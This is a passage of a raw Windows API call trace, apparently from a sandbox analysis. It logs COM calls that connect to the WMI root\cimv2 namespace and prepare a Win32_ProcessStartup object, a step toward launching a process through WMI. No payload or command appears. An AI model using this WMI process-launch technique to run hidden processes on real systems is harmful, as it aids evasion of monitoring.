This=0x3111d8, pAptType=0x1b10da38 | out: pAptType=0x1b10da38*=1) returned 0x0 [0128.411] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10da40 | out: ppvObject=0x1b10da40*=0x0) returned 0x80004002 [0128.411] IUnknown:Release (This=0x3111d8) returned 0x1 [0128.412] CoGetClassObject (in: rclsid=0x1b3c81c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d108 | out: ppv=0x1b10d108*=0x1b432f30) returned 0x0 [0128.412] WbemLocator:IUnknown:QueryInterface (in: This=0x1b432f30, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10d1f0 | out: ppvObject=0x1b10d1f0*=0x0) returned 0x80004002 [0128.412] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b432f30, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d1c8 | out: ppvObject=0x1b10d1c8*=0x1b433150) returned 0x0 [0128.414] WbemLocator:IUnknown:Release (This=0x1b432f30) returned 0x0 [0128.414] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433150, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cf70 | out: ppvObject=0x1b10cf70*=0x1b433150) returned 0x0 [0128.416] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433150, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10d000 | out: ppvObject=0x1b10d000*=0x0) returned 0x80004002 [0128.416] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433150, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c7f8 | out: ppvObject=0x1b10c7f8*=0x0) returned 0x80004002 [0128.416] WbemLocator:IUnknown:AddRef (This=0x1b433150) returned 0x3 [0128.416] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433150, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c6b8 | out: ppvObject=0x1b10c6b8*=0x0) returned 0x80004002 [0128.416] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433150, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c640 | out: ppvObject=0x1b10c640*=0x0) returned 0x80004002 [0128.416] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433150, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c630 | out: ppvObject=0x1b10c630*=0x0) returned 0x80004002 [0128.416] CoGetContextToken (in: pToken=0x1b10c6e0 | out: pToken=0x1b10c6e0) returned 0x0 [0128.417] CoGetContextToken (in: pToken=0x1b10cb60 | out: pToken=0x1b10cb60) returned 0x0 [0128.417] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433150, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cc20 | out: ppvObject=0x1b10cc20*=0x0) returned 0x80004002 [0128.417] WbemLocator:IUnknown:Release (This=0x1b433150) returned 0x2 [0128.417] WbemLocator:IUnknown:Release (This=0x1b433150) returned 0x1 [0128.417] CoGetContextToken (in: pToken=0x1b10d5a0 | out: pToken=0x1b10d5a0) returned 0x0 [0128.417] CoGetContextToken (in: pToken=0x1b10d4a0 | out: pToken=0x1b10d4a0) returned 0x0 [0128.417] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433150, riid=0x1b10d600*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b10d5d0 | out: ppvObject=0x1b10d5d0*=0x1b433150) returned 0x0 [0128.417] WbemLocator:IUnknown:AddRef (This=0x1b433150) returned 0x3 [0128.417] WbemLocator:IUnknown:Release (This=0x1b433150) returned 0x2 [0128.417] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351080, puCount=0x1b10d9d8 | out: puCount=0x1b10d9d8*=0x2) returned 0x0 [0128.417] WbemDefPath:IWbemPath:GetText (in: This=0x351080, lFlags=8, puBuffLength=0x1b10d9d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d9d0*=0xf, pszText=0x0) returned 0x0 [0128.417] WbemDefPath:IWbemPath:GetText (in: This=0x351080, lFlags=8, puBuffLength=0x1b10d9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.417] CoCreateInstance (in: rclsid=0x7ffb13d166a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb13d16708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b10d720 | out: ppv=0x1b10d720*=0x1b433210) returned 0x0 [0128.417] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b433210, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b10d898 | out: ppNamespace=0x1b10d898*=0x1b4035a0) returned 0x0 [0128.973] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4035a0, riid=0x7ffb13d16528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d598 | out: ppvObject=0x1b10d598*=0x1b424800) returned 0x0 [0128.973] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b424800, pProxy=0x1b4035a0, pAuthnSvc=0x1b10d660, pAuthzSvc=0x1b10d5e0, pServerPrincName=0x1b10d608, pAuthnLevel=0x1b10d5e4, pImpLevel=0x1b10d5f0, pAuthInfo=0x1b10d618, pCapabilites=0x1b10d5f4 | out: pAuthnSvc=0x1b10d660*=0xa, pAuthzSvc=0x1b10d5e0*=0x0, pServerPrincName=0x1b10d608, pAuthnLevel=0x1b10d5e4*=0x6, pImpLevel=0x1b10d5f0*=0x2, pAuthInfo=0x1b10d618, pCapabilites=0x1b10d5f4*=0x1) returned 0x0 [0128.973] WbemLocator:IUnknown:Release (This=0x1b424800) returned 0x1 [0128.973] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4035a0, riid=0x7ffb13d16518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d530 | out: ppvObject=0x1b10d530*=0x1b424848) returned 0x0 [0128.974] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4035a0, riid=0x7ffb13d16528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d540 | out: ppvObject=0x1b10d540*=0x1b424800) returned 0x0 [0128.974] WbemLocator:IClientSecurity:SetBlanket (This=0x1b424800, pProxy=0x1b4035a0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0128.974] WbemLocator:IUnknown:Release (This=0x1b424800) returned 0x2 [0128.974] WbemLocator:IUnknown:Release (This=0x1b424848) returned 0x1 [0128.974] CoTaskMemFree (pv=0x1b421220) [0128.974] WbemLocator:IUnknown:Release (This=0x1b433210) returned 0x0 [0128.974] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4035a0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d030 | out: ppvObject=0x1b10d030*=0x1b424848) returned 0x0 [0128.975] WbemLocator:IUnknown:QueryInterface (in: This=0x1b424848, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10d0c0 | out: ppvObject=0x1b10d0c0*=0x0) returned 0x80004002 [0128.977] WbemLocator:IUnknown:QueryInterface (in: This=0x1b424848, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cce0 | out: ppvObject=0x1b10cce0*=0x0) returned 0x80004002 [0128.978] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4035a0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c8b8 | out: ppvObject=0x1b10c8b8*=0x0) returned 0x80004002 [0128.981] WbemLocator:IUnknown:AddRef (This=0x1b424848) returned 0x3 [0128.982] WbemLocator:IUnknown:QueryInterface (in: This=0x1b424848, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c778 | out: ppvObject=0x1b10c778*=0x0) returned 0x80004002 [0128.982] WbemLocator:IUnknown:QueryInterface (in: This=0x1b424848, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c700 | out: ppvObject=0x1b10c700*=0x0) returned 0x80004002 [0128.982] WbemLocator:IUnknown:QueryInterface (in: This=0x1b424848, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c6f0 | out: ppvObject=0x1b10c6f0*=0x1b424728) returned 0x0 [0128.984] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b424728, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c718 | out: pCid=0x1b10c718*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0128.985] WbemLocator:IUnknown:Release (This=0x1b424728) returned 0x3 [0128.985] CoGetContextToken (in: pToken=0x1b10c7a0 | out: pToken=0x1b10c7a0) returned 0x0 [0128.985] CoGetContextToken (in: pToken=0x1b10cc20 | out: pToken=0x1b10cc20) returned 0x0 [0128.985] WbemLocator:IUnknown:QueryInterface (in: This=0x1b424848, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cce0 | out: ppvObject=0x1b10cce0*=0x1b424810) returned 0x0 [0128.985] WbemLocator:IRpcOptions:Query (in: This=0x1b424810, pPrx=0x1b424848, dwProperty=2, pdwValue=0x1b10ccd0 | out: pdwValue=0x1b10ccd0) returned 0x80004002 [0128.985] WbemLocator:IUnknown:Release (This=0x1b424810) returned 0x3 [0128.985] WbemLocator:IUnknown:Release (This=0x1b424848) returned 0x2 [0128.985] CoGetContextToken (in: pToken=0x1b10d2e0 | out: pToken=0x1b10d2e0) returned 0x0 [0128.985] CoGetContextToken (in: pToken=0x1b10d1e0 | out: pToken=0x1b10d1e0) returned 0x0 [0128.985] WbemLocator:IUnknown:QueryInterface (in: This=0x1b424848, riid=0x1b10d340*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b10d310 | out: ppvObject=0x1b10d310*=0x1b4035a0) returned 0x0 [0128.986] WbemLocator:IUnknown:AddRef (This=0x1b4035a0) returned 0x4 [0128.986] WbemLocator:IUnknown:Release (This=0x1b4035a0) returned 0x3 [0128.986] WbemLocator:IUnknown:Release (This=0x1b4035a0) returned 0x2 [0128.986] SysStringLen (param_1=0x0) returned 0x0 [0128.986] CoGetContextToken (in: pToken=0x1b10d3b0 | out: pToken=0x1b10d3b0) returned 0x0 [0128.986] WbemLocator:IUnknown:AddRef (This=0x1b424848) returned 0x3 [0128.986] WbemLocator:IUnknown:QueryInterface (in: This=0x1b424848, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d3b0 | out: ppvObject=0x1b10d3b0*=0x1b424848) returned 0x0 [0128.986] WbemLocator:IUnknown:Release (This=0x1b424848) returned 0x3 [0128.986] WbemLocator:IUnknown:Release (This=0x1b424848) returned 0x2 [0128.986] WbemDefPath:IWbemPath:GetText (in: This=0x352c40, lFlags=2, puBuffLength=0x1b10dab0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10dab0*=0x15, pszText=0x0) returned 0x0 [0128.986] WbemDefPath:IWbemPath:GetText (in: This=0x352c40, lFlags=2, puBuffLength=0x1b10dab0*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b10dab0*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0128.987] IWbemServices:GetObject (in: This=0x1b4035a0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b10da30*=0x0, ppCallResult=0x0 | out: ppObject=0x1b10da30*=0x36af20, ppCallResult=0x0) returned 0x0 [0129.027] IWbemClassObject:Get (in: This=0x36af20, wszName="__PATH", lFlags=0, pVal=0x1b10d9e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b10db28*=0, plFlavor=0x1b10db20*=0 | out: pVal=0x1b10d9e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b10db28*=8, plFlavor=0x1b10db20*=64) returned 0x0 [0129.027] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0129.027] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0129.027] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d9f8 | out: ppv=0x1b10d9f8*=0x3111d8) returned 0x0 [0129.027] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d9e8 | out: pAptType=0x1b10d9e8*=1) returned 0x0 [0129.028] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d9f0 | out: ppvObject=0x1b10d9f0*=0x0) returned 0x80004002 [0129.028] IUnknown:Release (This=0x3111d8) returned 0x1 [0129.028] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cde8 | out: ppv=0x1b10cde8*=0x1b433350) returned 0x0 [0129.029] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b433350, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10ced0 | out: ppvObject=0x1b10ced0*=0x0) returned 0x80004002 [0129.029] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b433350, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cea8 | out: ppvObject=0x1b10cea8*=0x3512c0) returned 0x0 [0129.029] WbemDefPath:IUnknown:Release (This=0x1b433350) returned 0x0 [0129.029] WbemDefPath:IUnknown:QueryInterface (in: This=0x3512c0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cc50 | out: ppvObject=0x1b10cc50*=0x3512c0) returned 0x0 [0129.029] WbemDefPath:IUnknown:QueryInterface (in: This=0x3512c0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cce0 | out: ppvObject=0x1b10cce0*=0x0) returned 0x80004002 [0129.029] WbemDefPath:IUnknown:QueryInterface (in: This=0x3512c0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c4d8 | out: ppvObject=0x1b10c4d8*=0x0) returned 0x80004002 [0129.029] WbemDefPath:IUnknown:AddRef (This=0x3512c0) returned 0x3 [0129.029] WbemDefPath:IUnknown:QueryInterface (in: This=0x3512c0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c398 | out: ppvObject=0x1b10c398*=0x0) returned 0x80004002 [0129.029] WbemDefPath:IUnknown:QueryInterface (in: This=0x3512c0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c320 | out: ppvObject=0x1b10c320*=0x0) returned 0x80004002 [0129.030] WbemDefPath:IUnknown:QueryInterface (in: This=0x3512c0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c310 | out: ppvObject=0x1b10c310*=0x1b433650) returned 0x0 [0129.030] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b433650, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c338 | out: pCid=0x1b10c338*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.030] WbemDefPath:IUnknown:Release (This=0x1b433650) returned 0x3 [0129.030] CoGetContextToken (in: pToken=0x1b10c3c0 | out: pToken=0x1b10c3c0) returned 0x0 [0129.030] CoGetContextToken (in: pToken=0x1b10c840 | out: pToken=0x1b10c840) returned 0x0 [0129.030] WbemDefPath:IUnknown:QueryInterface (in: This=0x3512c0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c900 | out: ppvObject=0x1b10c900*=0x0) returned 0x80004002 [0129.030] WbemDefPath:IUnknown:Release (This=0x3512c0) returned 0x2 [0129.030] WbemDefPath:IUnknown:Release (This=0x3512c0) returned 0x1 [0129.030] CoGetContextToken (in: pToken=0x1b10d630 | out: pToken=0x1b10d630) returned 0x0 [0129.030] CoGetContextToken (in: pToken=0x1b10d530 | out: pToken=0x1b10d530) returned 0x0 [0129.030] WbemDefPath:IUnknown:QueryInterface (in: This=0x3512c0, riid=0x1b10d690*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d660 | out: ppvObject=0x1b10d660*=0x3512c0) returned 0x0 [0129.030] WbemDefPath:IUnknown:AddRef (This=0x3512c0) returned 0x3 [0129.030] WbemDefPath:IUnknown:Release (This=0x3512c0) returned 0x2 [0129.031] WbemDefPath:IWbemPath:SetText (This=0x3512c0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0129.031] IWbemClassObject:Get (in: This=0x36af20, wszName="CreateFlags", lFlags=0, pVal=0x1b10da60*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2accec0*=0, plFlavor=0x2accec4*=0 | out: pVal=0x1b10da60*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2accec0*=19, plFlavor=0x2accec4*=0) returned 0x0 [0129.031] IWbemClassObject:Get (in: This=0x36af20, wszName="CreateFlags", lFlags=0, pVal=0x1b10da50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2accec0*=19, plFlavor=0x2accec4*=0 | out: pVal=0x1b10da50*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2accec0*=19, plFlavor=0x2accec4*=0) returned 0x0 [0129.031] IWbemClassObject:Put (This=0x36af20, wszName="CreateFlags", lFlags=0, pVal=0x1b10dab0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0129.032] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352580, puCount=0x1b10da18 | out: puCount=0x1b10da18*=0x0) returned 0x0 [0129.032] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352400, puCount=0x1b10d9d8 | out: puCount=0x1b10d9d8*=0x2) returned 0x0 [0129.032] WbemDefPath:IWbemPath:GetText (in: This=0x352400, lFlags=4, puBuffLength=0x1b10d9d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d9d0*=0xf, pszText=0x0) returned 0x0 [0129.032] WbemDefPath:IWbemPath:GetText (in: This=0x352400, lFlags=4, puBuffLength=0x1b10d9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.032] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d928 | out: ppv=0x1b10d928*=0x3111d8) returned 0x0 [0129.032] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d918 | out: pAptType=0x1b10d918*=1) returned 0x0 [0129.032] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d920 | out: ppvObject=0x1b10d920*=0x0) returned 0x80004002 [0129.032] IUnknown:Release (This=0x3111d8) returned 0x1 [0129.033] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cd18 | out: ppv=0x1b10cd18*=0x1b4330d0) returned 0x0 [0129.033] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4330d0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10ce00 | out: ppvObject=0x1b10ce00*=0x0) returned 0x80004002 [0129.033] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4330d0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cdd8 | out: ppvObject=0x1b10cdd8*=0x352640) returned 0x0 [0129.033] WbemDefPath:IUnknown:Release (This=0x1b4330d0) returned 0x0 [0129.034] 